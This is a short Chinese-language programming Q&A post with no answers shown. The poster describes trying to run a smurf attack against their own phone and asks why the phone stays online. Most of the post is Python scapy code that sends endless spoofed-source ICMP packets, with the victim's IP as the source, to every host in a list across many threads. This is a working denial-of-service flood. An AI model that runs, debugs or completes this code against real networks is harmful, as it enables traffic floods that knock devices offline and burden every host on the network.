我一直试图在我的手机上执行一个smurf攻击,我一直在python中使用scapy来创建欺骗的ICMP包,并将欺骗源作为我的手机。然后,我将这些数据包反复发送到网络上的所有计算机(IP存在列表send_icmp
)。但是,我的手机一直在上网。怎么了?我的代码是:
def smurf(victim):
for ip in send_icmp:
t = threading.Thread(target = __send_spoofed_icmp, args = (ip,victim))
t.daemon = True
t.start()
icmp_threads.append(t)
for t in icmp_threads:
t.join()
def __send_spoofed_icmp(ip,victim):
print("[+] Sending packets to "+ip)
packet = IP(src=victim,dst=ip)/ICMP()
while 1:
send(packet,verbose = 0)
目前没有回答
相关问题 更多 >
编程相关推荐